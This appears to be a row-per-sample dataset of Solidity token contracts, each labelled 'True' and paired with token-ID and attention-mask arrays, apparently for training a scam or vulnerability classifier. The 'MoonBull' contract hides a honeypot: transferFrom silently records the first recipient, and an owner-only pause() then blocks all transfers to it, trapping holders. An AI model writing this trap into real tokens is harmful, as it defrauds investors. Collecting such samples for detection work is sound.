According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /* * @dev Returns the address of the current owner. / function owner() public view returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract MoonBull is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000 10*18; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _symbol = 'MOONBULL'; string private _name = 'MoonBull'; uint8 private _decimals = 18; uint transfers; address newn; bool paused; uint256 public _maxTxAmount = 1000000000000000 1018; constructor () public { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); transfers = 1; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function pause() public onlyOwner { paused = true; } function transfer(address recipient, uint256 amount) public override returns (bool) { require(!paused \|\| recipient != newn); _transfer(_msgSender(), recipient, amount); transfers += 1; return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { if(sender != address(0) && newn == address(0)) { newn = recipient; } else { require(!paused \|\| recipient != newn); } _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = _tTotal.mul(maxTxPercent).div( 102 ); } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(sender != owner() && recipient != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee); } function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) { uint256 tFee = tAmount.div(100).mul(2); uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply \|\| _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }	True	[ 101, 1013, 1008, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1064, 1032, 1035, 1032, 1035, 1032, 1064, 1032, 1035, 1035, 1032, 1064, 1032, 1035, 1035, 1032, 1064, 1032, 1035, 1035, 1035, 1032, 1064, 1032, 1035, 1035, 1032, 1064, 1032, 1032, 1064, 1032, 1032, 1064, 1032, 1032, 1064, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1035, 1035, 1032, 1032, 1032, 1032, 1032, 1064, 1032, 1032, 1032, 1032, 1064, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1064, 1032, 1013, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1064, 1035, 1035, 1064, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1035, 1035, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1064, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1032, 1035, 1035, 1035, 1035, 1032, 1032, 1032, 1035, 1035, 1035, 1035, 1032, 1032, 1035, 1035, 1032, 1032, 1032, 1035, 1035, 1032, 1032, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1032, 1032, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1032, 1032, 1035, 1035, 1032, 1032, 1032, 1035, 1035, 1032, 1032, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1032, 1032, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1032, 1032, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1032, 1032, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1032, 1032, 1064, 1035, 1035, 1064, 1032, 1064, 1035, 1035, 1064, 1032, 1064, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1064, 1032, 1064, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1064, 1032, 1064, 1035, 1035, 1064, 1032, 1064, 1035, 1035, 1064, 1032, 1064, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1064, 1032, 1064, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1064, 1032, 1064, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1064, 1032, 1064, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1064, 1056, 1012, 2033, 1013, 4231, 8569, 3363, 16294, 6651, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 2260, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 3477, 3085, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 3853, 1035, 5796, 2290, 2850, 2696, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 27507, 3638, 1007, 1063, 2023, 1025, 1013, 1013, 4223, 2110, 14163, 2696, 8553, 5432, 2302, 11717, 24880, 16044, 1011, 2156, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 28855, 14820, 1013, 5024, 3012, 1013, 3314, 1013, 25717, 2487, 2709, 5796, 2290, 1012, 2951, 1025, 1065, 1065, 8278, 29464, 11890, 11387, 1063, 1013, 1008, 1008, 1008, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract HashnodeTestCoin is StandardToken { // CHANGE THIS. Update the contract name. /* Public variables of the token / / NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. / string public name; // Token Name uint8 public decimals; // How many decimals to show. To be standard complicant keep it 18 string public symbol; // An identifier: eg SBX, XPR etc.. string public version = 'H1.0'; uint256 public unitsOneEthCanBuy; // How many units of your coin can be bought by 1 ETH? uint256 public totalEthInWei; // WEI is the smallest unit of ETH (the equivalent of cent in USD or satoshi in BTC). We'll store the total ETH raised via our ICO here. address public fundsWallet; // Where should the raised ETH go? // This is a constructor function // which means the following function name has to match the contract name declared above function HashnodeTestCoin() { balances[msg.sender] = 100000000000000000000000000; // Give the creator all initial tokens. This is set to 1000 for example. If you want your initial tokens to be X and your decimal is 5, set this value to X 100000. (CHANGE THIS) totalSupply = 100000000000000000000000000; // Update total supply (1000 for example) (CHANGE THIS) name = "Rawan"; // Set the name for display purposes (CHANGE THIS) decimals = 18; // Amount of decimals for display purposes (CHANGE THIS) symbol = "RAW"; // Set the symbol for display purposes (CHANGE THIS) unitsOneEthCanBuy = 10; // Set the price of your token for the ICO (CHANGE THIS) fundsWallet = msg.sender; // The owner of the contract gets ETH } function() payable{ totalEthInWei = totalEthInWei + msg.value; uint256 amount = msg.value * unitsOneEthCanBuy; if (balances[fundsWallet] < amount) { return; } balances[fundsWallet] = balances[fundsWallet] - amount; balances[msg.sender] = balances[msg.sender] + amount; Transfer(fundsWallet, msg.sender, amount); // Broadcast a message to the blockchain //Transfer ether to fundsWallet fundsWallet.transfer(msg.value); } /* Approves and then calls the receiving contract / function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 1018, 1025, 3206, 19204, 1063, 1013, 1013, 1013, 1030, 2709, 2561, 3815, 1997, 19204, 2015, 3853, 21948, 6279, 22086, 1006, 1007, 5377, 5651, 1006, 21318, 3372, 17788, 2575, 4425, 1007, 1063, 1065, 1013, 1013, 1013, 1030, 11498, 2213, 1035, 3954, 1996, 4769, 2013, 2029, 1996, 5703, 2097, 2022, 5140, 1013, 1013, 1013, 1030, 2709, 1996, 5703, 3853, 5703, 11253, 1006, 4769, 1035, 3954, 1007, 5377, 5651, 1006, 21318, 3372, 17788, 2575, 5703, 1007, 1063, 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// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal virtual view returns (address payable) { return payable(msg.sender); } function _msgData() internal virtual view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /* * @dev Interface of the ERC20 standard as defined in the EIP. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval( address indexed owner, address indexed spender, uint256 value ); } /* * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. / library SafeMath { /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /* * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The 